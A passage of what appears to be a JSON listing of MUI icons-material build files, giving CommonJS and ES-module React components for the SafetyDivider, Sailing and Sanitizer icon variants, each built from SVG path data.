    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDividerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDividerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDividerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDividerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDividerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDividerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDividerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDividerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDividerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDividerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDividerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDividerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDividerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SafetyDividerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 5h2v14h-2zm-6 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C6.93 13.21 5.99 13 5 13s-1.93.21-2.78.58C1.48 13.9 1 14.62 1 15.43V16h8v-.57c0-.81-.48-1.53-1.22-1.85M19 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58c-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58c-.74.32-1.22 1.04-1.22 1.85V16h8v-.57c0-.81-.48-1.53-1.22-1.85\"\n}), 'SafetyDividerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sailing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13.5V2L3 13.5zm10 0C21 6.5 14.5 1 12.5 1c0 0 1 3 1 6.5s-1 6-1 6zm1 1.5H2c.31 1.53 1.16 2.84 2.33 3.73.65-.27 1.22-.72 1.67-1.23.73.84 1.8 1.5 3 1.5s2.27-.66 3-1.5c.73.84 1.8 1.5 3 1.5s2.26-.66 3-1.5c.45.51 1.02.96 1.67 1.23 1.17-.89 2.02-2.2 2.33-3.73m0 8v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75z\"\n}), 'Sailing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sailing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13.5V2L3 13.5zm10 0C21 6.5 14.5 1 12.5 1c0 0 1 3 1 6.5s-1 6-1 6zm1 1.5H2c.31 1.53 1.16 2.84 2.33 3.73.65-.27 1.22-.72 1.67-1.23.73.84 1.8 1.5 3 1.5s2.27-.66 3-1.5c.73.84 1.8 1.5 3 1.5s2.26-.66 3-1.5c.45.51 1.02.96 1.67 1.23 1.17-.89 2.02-2.2 2.33-3.73m0 8v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75z\"\n}), 'Sailing');"
  },
  {
    "path": "packages/mui-icons-material/lib/SailingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13.5V2L3 13.5zm-2-2H6.83L9 8.38zm12 2C21 6.5 14.5 1 12.5 1c0 0 1 3 1 6.5s-1 6-1 6zm-5.62-8.26c1.42 1.52 2.88 3.72 3.41 6.26h-3.68c.21-1.1.39-2.46.39-4 0-.79-.05-1.55-.12-2.26M22 15H2c.31 1.53 1.16 2.84 2.33 3.73.65-.27 1.22-.72 1.67-1.23.73.84 1.8 1.5 3 1.5s2.27-.66 3-1.5c.73.84 1.8 1.5 3 1.5s2.26-.66 3-1.5c.45.51 1.02.96 1.67 1.23 1.17-.89 2.02-2.2 2.33-3.73m0 8v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75z\"\n}), 'SailingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SailingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13.5V2L3 13.5zm-2-2H6.83L9 8.38zm12 2C21 6.5 14.5 1 12.5 1c0 0 1 3 1 6.5s-1 6-1 6zm-5.62-8.26c1.42 1.52 2.88 3.72 3.41 6.26h-3.68c.21-1.1.39-2.46.39-4 0-.79-.05-1.55-.12-2.26M22 15H2c.31 1.53 1.16 2.84 2.33 3.73.65-.27 1.22-.72 1.67-1.23.73.84 1.8 1.5 3 1.5s2.27-.66 3-1.5c.73.84 1.8 1.5 3 1.5s2.26-.66 3-1.5c.45.51 1.02.96 1.67 1.23 1.17-.89 2.02-2.2 2.33-3.73m0 8v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75z\"\n}), 'SailingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SailingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13V3.59c0-.49-.63-.69-.91-.29l-6.54 9.41c-.23.33.01.79.41.79h6.54c.28 0 .5-.22.5-.5m9.99-.02C20.72 7.07 15.9 2.32 13.4 1.23c-.37-.16-.77.2-.67.59.3 1.13.76 3.28.76 5.68 0 2.44-.49 4.39-.78 5.35-.1.32.14.65.48.65h7.28c.29 0 .53-.24.52-.52M20.62 15H3.38c-.73 0-1.22.76-.92 1.42.43.92 1.07 1.71 1.86 2.31.38-.16.74-.38 1.06-.63.35-.29.87-.29 1.23 0 .67.53 1.49.9 2.39.9s1.72-.37 2.39-.91c.35-.28.87-.28 1.22 0 .67.54 1.49.91 2.39.91s1.72-.37 2.39-.91c.35-.29.87-.28 1.23 0 .32.26.67.48 1.06.63.79-.6 1.43-1.39 1.86-2.31.3-.65-.19-1.41-.92-1.41M22 22c0-.55-.45-1-1-1-.87 0-1.73-.24-2.53-.7-.29-.16-.65-.17-.94 0-1.59.9-3.47.9-5.06 0-.29-.16-.65-.16-.94 0-1.59.9-3.47.9-5.06 0-.29-.16-.65-.16-.94 0-.8.46-1.66.7-2.53.7-.55 0-1 .45-1 1s.45 1 1 1c1.15 0 2.3-.31 3.33-.94 1.66 1.11 3.78 1.01 5.58.14 1.91 1.05 4.17 1.07 6.09.05.95.5 1.97.75 3 .75.55 0 1-.45 1-1\"\n}), 'SailingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SailingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13V3.59c0-.49-.63-.69-.91-.29l-6.54 9.41c-.23.33.01.79.41.79h6.54c.28 0 .5-.22.5-.5m9.99-.02C20.72 7.07 15.9 2.32 13.4 1.23c-.37-.16-.77.2-.67.59.3 1.13.76 3.28.76 5.68 0 2.44-.49 4.39-.78 5.35-.1.32.14.65.48.65h7.28c.29 0 .53-.24.52-.52M20.62 15H3.38c-.73 0-1.22.76-.92 1.42.43.92 1.07 1.71 1.86 2.31.38-.16.74-.38 1.06-.63.35-.29.87-.29 1.23 0 .67.53 1.49.9 2.39.9s1.72-.37 2.39-.91c.35-.28.87-.28 1.22 0 .67.54 1.49.91 2.39.91s1.72-.37 2.39-.91c.35-.29.87-.28 1.23 0 .32.26.67.48 1.06.63.79-.6 1.43-1.39 1.86-2.31.3-.65-.19-1.41-.92-1.41M22 22c0-.55-.45-1-1-1-.87 0-1.73-.24-2.53-.7-.29-.16-.65-.17-.94 0-1.59.9-3.47.9-5.06 0-.29-.16-.65-.16-.94 0-1.59.9-3.47.9-5.06 0-.29-.16-.65-.16-.94 0-.8.46-1.66.7-2.53.7-.55 0-1 .45-1 1s.45 1 1 1c1.15 0 2.3-.31 3.33-.94 1.66 1.11 3.78 1.01 5.58.14 1.91 1.05 4.17 1.07 6.09.05.95.5 1.97.75 3 .75.55 0 1-.45 1-1\"\n}), 'SailingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SailingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13.5V2L3 13.5zm10 0C21 6.5 14.5 1 12.5 1c0 0 1 3 1 6.5s-1 6-1 6zm1 1.5H2c.31 1.53 1.16 2.84 2.33 3.73.65-.27 1.22-.72 1.67-1.23.73.84 1.8 1.5 3 1.5s2.27-.66 3-1.5c.73.84 1.8 1.5 3 1.5s2.26-.66 3-1.5c.45.51 1.02.96 1.67 1.23 1.17-.89 2.02-2.2 2.33-3.73m0 8v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75z\"\n}), 'SailingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SailingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13.5V2L3 13.5zm10 0C21 6.5 14.5 1 12.5 1c0 0 1 3 1 6.5s-1 6-1 6zm1 1.5H2c.31 1.53 1.16 2.84 2.33 3.73.65-.27 1.22-.72 1.67-1.23.73.84 1.8 1.5 3 1.5s2.27-.66 3-1.5c.73.84 1.8 1.5 3 1.5s2.26-.66 3-1.5c.45.51 1.02.96 1.67 1.23 1.17-.89 2.02-2.2 2.33-3.73m0 8v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75z\"\n}), 'SailingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SailingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11.5H6.83L9 8.38zm6.38-6.26c1.42 1.52 2.88 3.72 3.41 6.26h-3.68c.21-1.1.39-2.46.39-4 0-.79-.05-1.55-.12-2.26\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13.5V2L3 13.5zm-2-2H6.83L9 8.38zm12 2C21 6.5 14.5 1 12.5 1c0 0 1 3 1 6.5s-1 6-1 6zm-5.62-8.26c1.42 1.52 2.88 3.72 3.41 6.26h-3.68c.21-1.1.39-2.46.39-4 0-.79-.05-1.55-.12-2.26M22 15H2c.31 1.53 1.16 2.84 2.33 3.73.65-.27 1.22-.72 1.67-1.23.73.84 1.8 1.5 3 1.5s2.27-.66 3-1.5c.73.84 1.8 1.5 3 1.5s2.26-.66 3-1.5c.45.51 1.02.96 1.67 1.23 1.17-.89 2.02-2.2 2.33-3.73m0 8v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75z\"\n}, \"1\")], 'SailingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SailingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11.5H6.83L9 8.38zm6.38-6.26c1.42 1.52 2.88 3.72 3.41 6.26h-3.68c.21-1.1.39-2.46.39-4 0-.79-.05-1.55-.12-2.26\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13.5V2L3 13.5zm-2-2H6.83L9 8.38zm12 2C21 6.5 14.5 1 12.5 1c0 0 1 3 1 6.5s-1 6-1 6zm-5.62-8.26c1.42 1.52 2.88 3.72 3.41 6.26h-3.68c.21-1.1.39-2.46.39-4 0-.79-.05-1.55-.12-2.26M22 15H2c.31 1.53 1.16 2.84 2.33 3.73.65-.27 1.22-.72 1.67-1.23.73.84 1.8 1.5 3 1.5s2.27-.66 3-1.5c.73.84 1.8 1.5 3 1.5s2.26-.66 3-1.5c.45.51 1.02.96 1.67 1.23 1.17-.89 2.02-2.2 2.33-3.73m0 8v-2h-1c-1.04 0-2.08-.35-3-1-1.83 1.3-4.17 1.3-6 0-1.83 1.3-4.17 1.3-6 0-.91.65-1.96 1-3 1H2v2h1c1.03 0 2.05-.25 3-.75 1.89 1 4.11 1 6 0 1.89 1 4.11 1 6 0 .95.5 1.97.75 3 .75z\"\n}, \"1\")], 'SailingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sanitizer.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 6.5C15.5 5.66 17 4 17 4s1.5 1.66 1.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.67-2.5-4.5-2.5-4.5S17 10.83 17 12.5c0 1.38 1.12 2.5 2.5 2.5M13 14h-2v-2H9v2H7v2h2v2h2v-2h2zm3-2v10H4V12c0-2.97 2.16-5.43 5-5.91V4H7V2h6c1.13 0 2.15.39 2.99 1.01l-1.43 1.43C14.1 4.17 13.57 4 13 4h-2v2.09c2.84.48 5 2.94 5 5.91\"\n}), 'Sanitizer');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sanitizer.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 6.5C15.5 5.66 17 4 17 4s1.5 1.66 1.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.67-2.5-4.5-2.5-4.5S17 10.83 17 12.5c0 1.38 1.12 2.5 2.5 2.5M13 14h-2v-2H9v2H7v2h2v2h2v-2h2zm3-2v10H4V12c0-2.97 2.16-5.43 5-5.91V4H7V2h6c1.13 0 2.15.39 2.99 1.01l-1.43 1.43C14.1 4.17 13.57 4 13 4h-2v2.09c2.84.48 5 2.94 5 5.91\"\n}), 'Sanitizer');"
  },
  {
    "path": "packages/mui-icons-material/lib/SanitizerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 6.5C15.5 5.66 17 4 17 4s1.5 1.66 1.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.67-2.5-4.5-2.5-4.5S17 10.83 17 12.5c0 1.38 1.12 2.5 2.5 2.5M13 14h-2v-2H9v2H7v2h2v2h2v-2h2zm3-2v8c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-8c0-2.97 2.16-5.43 5-5.91V4H7V2h6c1.13 0 2.15.39 2.99 1.01l-1.43 1.43C14.1 4.17 13.57 4 13 4h-2v2.09c2.84.48 5 2.94 5 5.91m-2 0c0-2.21-1.79-4-4-4s-4 1.79-4 4v8h8z\"\n}), 'SanitizerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SanitizerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 6.5C15.5 5.66 17 4 17 4s1.5 1.66 1.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.67-2.5-4.5-2.5-4.5S17 10.83 17 12.5c0 1.38 1.12 2.5 2.5 2.5M13 14h-2v-2H9v2H7v2h2v2h2v-2h2zm3-2v8c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-8c0-2.97 2.16-5.43 5-5.91V4H7V2h6c1.13 0 2.15.39 2.99 1.01l-1.43 1.43C14.1 4.17 13.57 4 13 4h-2v2.09c2.84.48 5 2.94 5 5.91m-2 0c0-2.21-1.79-4-4-4s-4 1.79-4 4v8h8z\"\n}), 'SanitizerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SanitizerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 6.5c0-.56.67-1.49 1.11-2.04.2-.25.58-.25.77 0 .44.55 1.11 1.48 1.11 2.04.01.83-.66 1.5-1.49 1.5s-1.5-.67-1.5-1.5m4 8.5c1.38 0 2.5-1.12 2.5-2.5 0-1.25-1.41-3.16-2.11-4.04a.489.489 0 0 0-.77 0c-.71.88-2.12 2.79-2.12 4.04 0 1.38 1.12 2.5 2.5 2.5M12 14h-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1H8c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1m4-2v8c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2v-8c0-2.97 2.16-5.43 5-5.91V4H8c-.55 0-1-.45-1-1s.45-1 1-1h5c.61 0 1.19.11 1.72.31.67.25.83 1.13.33 1.64-.28.28-.69.36-1.05.23-.32-.12-.65-.18-1-.18h-2v2.09c2.84.48 5 2.94 5 5.91\"\n}), 'SanitizerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SanitizerRounded.mjs",
